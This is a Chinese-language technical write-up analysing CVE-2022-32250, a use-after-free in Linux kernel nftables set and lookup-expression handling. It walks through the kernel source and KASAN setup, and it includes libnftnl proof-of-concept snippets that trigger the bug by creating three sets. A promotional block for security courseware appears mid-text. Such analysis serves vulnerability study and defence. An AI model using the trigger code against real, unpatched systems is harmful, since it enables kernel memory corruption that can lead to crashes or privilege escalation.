前言
在nftales中存在着集合(sets),用于存储唯一值的集合。sets 提供了高效地检查一个元素是否存在于集合中的机制,它可以用于各种网络过滤和转发规则。
而CVE-2022-32250漏洞则是由于nftables在处理set时存在uaf的漏洞。
环境搭建
ubuntu20 + QEMU-4.2.1 + Linux-5.15
.config文件
CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_E1000=y
CONFIG_E1000E=y
CONFIG_USER_NS=y,开启命名空间
开启KASAN:make menuconfig --> Kernel hacking -->Memory Debugging --> KASAN
在ubuntu20直接安装的libnftnl版本太低,因此需要去www.netfilter.org/projects/li…中下载
./configure --prefix=/usr && makesudo make install
漏洞验证
在运行poc时,KASAN检测出存在uaf漏洞
漏洞原理
从KASAN给出的信息可知,该漏洞与set有关,因此从set的创建到使用进行源码分析。
在nf_tables_newset内首先需要校验集合名、所属的表、集合键值的长度以及集合的ID是否被设置,若这些条件不具备则直接返回。
File: linux-5.15\net\netfilter\nf_tables_api.c4205: static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info,4206: const struct nlattr * const nla[])4207: { ... //判断创建set的必备条件是否具备4227: if (nla[NFTA_SET_TABLE] == NULL ||4228: nla[NFTA_SET_NAME] == NULL ||4229: nla[NFTA_SET_KEY_LEN] == NULL ||4230: nla[NFTA_SET_ID] == NULL)4231: return -EINVAL; ...
集合通过kvzalloc函数开辟空间
File: linux-5.15\net\netfilter\nf_tables_api.c ...4369: set = kvzalloc(alloc_size, GFP_KERNEL);4370: if (!set)4371: return -ENOMEM; ...
在成功创建集合后,就会进行初始化的过程,有一个变量需要重点关注,即set->bindings。
File: linux-5.15\net\netfilter\nf_tables_api.c ... //对集合做初始化4390: INIT_LIST_HEAD(&set->bindings);4391: INIT_LIST_HEAD(&set->catchall_list);4392: set->table = table;4393: write_pnet(&set->net, net);4394: set->ops = ops;4395: set->ktype = ktype;4396: set->klen = desc.klen;4397: set->dtype = dtype;4398: set->objtype = objtype;4399: set->dlen = desc.dlen;4400: set->flags = flags;4401: set->size = desc.size;4402: set->policy = policy;4403: set->udlen = udlen;4404: set->udata = udata;4405: set->timeout = timeout;4406: set->gc_int = gc_int; ...
当初始化完毕之后,会去判断创建集合时,该集合是否有需要创建的表达式。
File: linux-5.15\net\netfilter\nf_tables_api.c ... //判断是否有表达式需要创建4416: if (nla[NFTA_SET_EXPR]) {4417: expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]); //表达式的创建4418: if (IS_ERR(expr)) {4419: err = PTR_ERR(expr);4420: goto err_set_expr_alloc;4421: }4422: set->exprs[0] = expr;4423: set->num_exprs++; ...
在代码[1]处会对表达式进行初始化,紧接着在代码[2]处会对表达式的标志位进行校验,当表达式的标志位不具备NFT_EXPR_STATEFUL属性,那么就会跳转到[3]中进行销毁表达式的处理,紧接着返回错误。这里似乎会存在问题,因为代表[1]与[2]是先创建表达式再检验,就会导致任意的表达式被创建。
File: linux-5.15\net\netfilter\nf_tables_api.c5309: struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,5310: const struct nft_set *set,5311: const struct nlattr *attr)5312: {5313: struct nft_expr *expr;5314: int err;5315: 5316: expr = nft_expr_init(ctx, attr); --->[1]5317: if (IS_ERR(expr))5318: return expr;5319: 5320: err = -EOPNOTSUPP;5321: if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]5322: goto err_set_elem_expr;5323: ...5334: err_set_elem_expr:5335: nft_expr_destroy(ctx, expr); --->[3]5336: return ERR_PTR(err);5337: }
回顾KASAN的报告,发现该漏洞与表达式nft_lookup有关,因此接下来关注一下lookup表达式初始化的过程。
帮助网安学习,全套资料S信领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
lookup表达式的结构体如下,可以看到在lookup结构体里存在着binding变量,是上面set会初始化的一个变量。
struct nft_lookup { struct nft_set *set; //集合 u8 sreg; //源寄存器 u8 dreg; //目的寄存器 bool invert; struct nft_set_binding binding;};
nft_set_bing结构体实则是维护了一个双链表。
struct nft_set_binding { struct list_head list; const struct nft_chain *chain; u32 flags;};
nft_lookup_init函数负责初始化lookup表达式,可以看到需要set与源寄存器都存在的情况下才能够完成创建。
File: linux-5.15\net\netfilter\nft_lookup.c095: static int nft_lookup_init(const struct nft_ctx *ctx,096: const struct nft_expr *expr,097: const struct nlattr * const tb[])098: { ... //检测set与源寄存器的值105: if (tb[NFTA_LOOKUP_SET] == NULL ||106: tb[NFTA_LOOKUP_SREG] == NULL)107: return -EINVAL; ...
紧接着检索需要搜索的set。
File: linux-5.15\net\netfilter\nft_lookup.c ...109: set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],110: tb[NFTA_LOOKUP_SET_ID], genmask);111: if (IS_ERR(set))112: return PTR_ERR(set); ...
最后在完成了set的搜索后,就会进行一个绑定操作,会将表达式的binging接入的set的binding。
File: linux-5.15\net\netfilter\nft_lookup.c ...148: err = nf_tables_bind_set(ctx, set, &priv->binding);149: if (err < 0)150: return err; ...
首先在绑定之前会校验链表是否是匿名并且非空。
File: linux-5.15\net\netfilter\nf_tables_api.c4606: int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set,4607: struct nft_set_binding *binding)4608: { ...4615: if (!list_empty(&set->bindings) && nft_set_is_anonymous(set))4616: return -EBUSY; ...
在通过上面的检测后,就会将当前表达式的加入到set中,
File: linux-5.15\net\netfilter\nf_tables_api.c ...4643: list_add_tail_rcu(&binding->list, &set->bindings); ...
综上所述,bing的作用实则是维护相同set下的不同的表达式。具体流程如下。
在set创建时,会初始化bindings指向自己本身。
紧接着若有lookup表达式创建,并绑定上述的set时,因此通过set的bingdings,可以检索在当前set上的所有expr。
在上面说过创建表达式的过程中会检测表达式的标志位是否为NFT_EXPR_STATEFUL,如[2]所示
5321: if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]5322: goto err_set_elem_expr;
在初始化lookup表达式时,是不会给flags设置值的,因此默认值即为0,因此在创建set的同时创建lookup表达式,lookup表达式的类型是默认为0,是无法绕过检测的。
struct nft_expr_type nft_lookup_type __read_mostly = { .name = "lookup", .ops = &nft_lookup_ops, .policy = nft_lookup_policy, .maxattr = NFTA_LOOKUP_MAX, .owner = THIS_MODULE,};
那么就会进入销毁表达式[3]
5334: err_set_elem_expr:5335: nft_expr_destroy(ctx, expr); --->[3]5336: return ERR_PTR(err);
nft_expr_destory函数内除了是否表达式外还会调用nf_tables_expr_destroy函数
File: linux-5.15\net\netfilter\nf_tables_api.c2823: void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr)2824: {2825: nf_tables_expr_destroy(ctx, expr);2826: kfree(expr);2827: }
在nf_tables_exor_destroy函数会调用表达式的destroy操作
File: linux-5.15\net\netfilter\nf_tables_api.c2761: static void nf_tables_expr_destroy(const struct nft_ctx *ctx,2762: struct nft_expr *expr)2763: {2764: const struct nft_expr_type *type = expr->ops->type;2765: 2766: if (expr->ops->destroy)2767: expr->ops->destroy(ctx, expr); //表达式的删除操作2768: module_put(type->owner);2769: }
nft_lookup_destroy函数内部调用了nf_tables_destroy_set函数
File: linux-5.15\net\netfilter\nft_lookup.c173: static void nft_lookup_destroy(const struct nft_ctx *ctx,174: const struct nft_expr *expr)175: {176: struct nft_lookup *priv = nft_expr_priv(expr);177: 178: nf_tables_destroy_set(ctx, priv->set);179: }
在nf_tables_destroy_set函数内部中有一个简单的判断,若不成立那么实际上nf_tables_destroy_set不会做任何操作。那么就会造成一个漏洞,若我们创建的表达式lookup已经被绑定在set上,因此list_empty(&set->bindings为0,那么就会导致destroy操作不会执行任何操作。就会将lookup表达式残留在set->bingdings中。
File: linux-5.15\net\netfilter\nf_tables_api.c4683: void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)4684: {4685: if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) //判断`set->bingings是否为空,以及`set`是否匿名4686: nft_set_destroy(ctx, set);4687: }
由于lookup->destory不会执行任何操作,就会导致lookup表达式仍然残留在set->bingdings上,但是由于表达式的标志位不能通过校验,随后该表达式就会被释放。
POC分析
首先创建一个名为set_stable的set,为后续创建lookup表达式做准备。
set_name = "set_stable"; nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name); nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1); nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++);
紧接着创建名为set_trigger的set,并同时将标志位设置为NFT_SET_EXPR,那么就能在创建set的同时创建表达式,创建的表达式为lookup表达式,并且搜索的set的名为set_stable,这里需要注意的是,第一个创建的set是为了后续的lookup表达式提供搜索的set,而第二次的set是为了创建set的同时创建lookup表达式,因此第二个set的作用仅仅是为了创建lookup表达式。
set_name = "set_trigger"; nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name); nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR); nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1); nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id); exprs[exprid] = nftnl_expr_alloc("lookup"); nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable"); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1); // nest the expression into the set nftnl_set_add_expr(set_trigger, exprs[exprid]);
最后就是触发漏洞,第三次的set同样的也仅仅是为了创建lookup表达式,由于此时名为set_stable的set->bingdings还存在着被释放掉的lookup表达式的指针,因此在第三次创建的时候就会将新创建的lookup表达式链接到上述已经被释放的lookup表达式中,从而导致的uaf漏洞。
set_name = "set_uaf"; nftnl_set_set_str(set_uaf, NFTNL_SET_TABLE, table_name); nftnl_set_set_str(set_uaf, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(set_uaf, NFTNL_SET_FLAGS, NFT_SET_EXPR); nftnl_set_set_u32(set_uaf, NFTNL_SET_KEY_LEN, 1); nftnl_set_set_u32(set_uaf, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(set_uaf, NFTNL_SET_ID, set_id); exprs[exprid] = nftnl_expr_alloc("lookup"); nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable"); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);